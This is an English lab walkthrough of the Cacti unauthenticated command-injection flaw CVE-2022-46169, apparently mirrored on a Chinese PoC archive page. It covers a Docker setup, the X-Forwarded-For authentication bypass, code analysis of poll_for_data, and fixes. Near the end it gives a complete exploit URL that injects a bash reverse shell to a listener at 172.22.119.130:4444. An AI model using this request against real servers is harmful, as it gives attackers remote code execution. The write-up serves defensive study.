关联漏洞
标题:
Cacti 命令注入漏洞
(CVE-2022-46169)
描述:Cacti是Cacti团队的一套开源的网络流量监测和分析工具。该工具通过snmpget来获取数据,使用RRDtool绘画图形进行分析,并提供数据和用户管理功能。 Cacti v1.2.22版本存在命令注入漏洞,该漏洞源于未经身份验证的命令注入,允许未经身份验证的用户在运行Cacti的服务器上执行任意代码。
介绍
CVE-2022-46169 - Unauthenticated Remote Code Execution in Cacti
======
# What is Cacti and its vulnerability?
Cacti is an open-source operational monitoring tool written in PHP, MySQL/MariaDB, which provides a friendly interface.
The vulnerability was found in 2022 which affected all versions before 1.2.23. This bug requires a chain of authentication bypass and command injection to achieve RCE (Remote Code Execution).
# Lab Setup
In this CVE analysis, I will run Cacti in Docker and use VSCode for code analysis. The set up will be quite simple, first we need a docker-compose.yaml file to create a new environment. Below is the docker-compose.yaml file:
```
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
```
After creating the file, open command line and navigate to the file directory, run the command `docker-compose up -d`, open browser and access to `localhost:8088`. First you will see a log in page:

The default credential is `admin/admin`. The process of setting up will be presented by photos below:

Create new password











After finishing installation, we will have a console screen like this

Now let's start to analyze the vulnerability. As we know that, the vulnerable file is `remote_agent.php`, so we'll try to access to file on browser

It says that we are not authorized to access the file. It's time to view the source code of the file

It checks by calling the remote_client_authorized() function. Let's dive deeply into that function.

First, the server get our IP address via the `get_client_addr()` function and then use the `gethostbyaddr()` function to translate our IP to hostname. The server then fetch all the `pollers` available in `poller` table and compare each `poller's hostname` with your `hostname` translated from the IP address. There's a bypass here, inside the `get_client_addr()`:

We can see that the server will retrieve the IP address via one of the header:
```
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
```
This allow us to fully control the value of our IP address. In this case, we can use the `X-Forwarded-For` header to spoofed our IP to a valid IP, which allow us to bypass authorization. `X-Forwarded-For` header is often used to identify the original IP address if there's a proxy or load balancer sit between the client and the server. However, this will be an attack surface for attackers to exploit. Because we run cacti locally, we need to specify an IP address that will be translated to localhost, which is `127.0.0.1`.

Looks good now right? However, it's just the beginning bros!!! We need more code analysis to successfully injection command and gain remote code execution. After finishing authentication, the program will execute this code

The server will get the `action` parameter and step into a `Switch/Case`. if the value of `action` is `pollerdata`, the program will call the `poll_for_data()`. This function is vulnerable to command injection, so we will carefully analyze it.

The function will take 3 parameters `$local_data_ids`, `$host_id`, `$poller_id` received from user's request parameters `local_data_ids`, `host_id`, `poller_id`. Notice the difference in the function to retrieve the parameters, one is `get_filter_request_var` and other is `get_nfilter_request_var`, there is one more `n` in the last function, we will discuss more about this. After that, the program will check if we supply the `local_data_ids` parameter and will loop each one to retrieve data from the `poller_item` table base on `local_data_ids` and `host_id`. The query will be saved in `$items`.

If the query returns with results, the program will loop through each `$item` in `$items` and step in a `Switch/Case` statement which takes `$item['action']` as **Switch** value. There're many cases but the case we should investigate is the `POLLER_ACTION_SCRIPT_PHP` which means `action` equals to 2.

Once `action` is `2`, the program will execute the `proc_open()` command, which is quite similar to `exec()`, and take `$poller_id` as one of the variables, which is fully controlled by us. For better visualization, we should access to the database to retrieve the `poller_item` table's content to see how it looks like.

From the table, we see that we have to brute-force the `local_data_id` to get the `poller` having `action = 2`, this will be applied in real-world exploitation. By default, cacti doesn't have any `poller` having `action = 2`, yet this can be done by adding new templates like `device`



After create new `device`, we access the `poller_item` table again and see that there's a new `poller` with `action = 2`

Now let's review the whole process again. To successfully exploit the bug, we need to first bypass the authentication by adding `X-Forwarded-For` header. The next step is to provide `action` parameter to `polldata`, `host_id =1`, `local_data_ids` equals to the corresponding `poller` having `action =2`, in this case `local_data_ids = 6`, and most importantly, the `poller_id` parameter is where we will injection command to obtain remote code execution. There use of `get_nfilter_request_var()` make this parameter vulnerable. While `get_filter_request_var` only accepts integer, `get_nfilter_request_var` allow us to enter string. In addition, there is no input validation for this parameter, which leads to a full command injection.
Let's run a **Kali Linux** server listening for requests.

We need kali's **IP address** and **port** which runs the server to build the payload, in this case are `172.22.119.130` and netcat's running on port `4444`
Now let's open Burpsuite and start to exploit, the payload used here is `;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261`. The payload use a `;` to end the previous command and execute a new command. the rest is a simply command to get reverse shell. Combine all together, we have the full url: `localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261`


Bump!!! We have successfully exploited the bug. The process and explanation is quite long but in general, this is not a very complicated vulnerability.
Mitigation
------------------------
The root cause of this vulnerability is the use of `get_nfilter_request_var()` function for `poller_id` parameter. We can change it to `get_filter_request_var()` to only accept integer

We can add another security layer by sanitize the value of `poller_id` by using the `cacti_escapeshellarg()` function. These practice will ensure that only valid input passed into `poller_id` before it is used for further steps.

This is the end of the analysis. Hope you will learn something meaningful. As we can see that, vulnerability often takes place in user's input. Therefore, it is so important that we should apply proper input validation in order to secure our server. Remote Code Execution is so tremendous, but there's still a way to prevent it!!! Happy hacking!
### Reference
https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA
https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169
文件快照
[4.0K] /data/pocs/5dfd1d8bf07220e95253f8f84fbedb3fc18d0af7
├── [4.0K] images
│ ├── [ 42K] 10.png
│ ├── [141K] 11.png
│ ├── [ 69K] 1.png
│ ├── [106K] 2.png
│ ├── [ 64K] 3.png
│ ├── [ 74K] 4.png
│ ├── [ 89K] 5.png
│ ├── [ 87K] 6.png
│ ├── [ 76K] 7.png
│ ├── [ 83K] 8.png
│ ├── [ 46K] 9.png
│ ├── [ 1] a.html
│ ├── [ 98K] console.png
│ ├── [ 96K] create_device_1.png
│ ├── [102K] create_device_2.png
│ ├── [ 97K] create_device_3.png
│ ├── [ 84K] create_device_4.png
│ ├── [134K] exploit_1.png
│ ├── [112K] exploit_2.png
│ ├── [ 84K] get_client_addr.png
│ ├── [136K] IP_spoofed.png
│ ├── [ 77K] kali.png
│ ├── [ 74K] login_page.png
│ ├── [ 14K] mitigation_1.png
│ ├── [ 22K] mitigation_2.png
│ ├── [ 80K] new_password.png
│ ├── [ 13K] POLLER_ACTION_SCRIPT_PHP.png
│ ├── [ 96K] poller_item_table.png
│ ├── [ 46K] poll_for_data.png
│ ├── [128K] proc_open.png
│ ├── [ 22K] remote_agent.png
│ ├── [100K] remote_client_authorized_dive_deep.png
│ ├── [9.9K] remote_client_authorized.png
│ └── [ 68K] switch_case_action.png
└── [ 12K] README.md
1 directory, 35 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。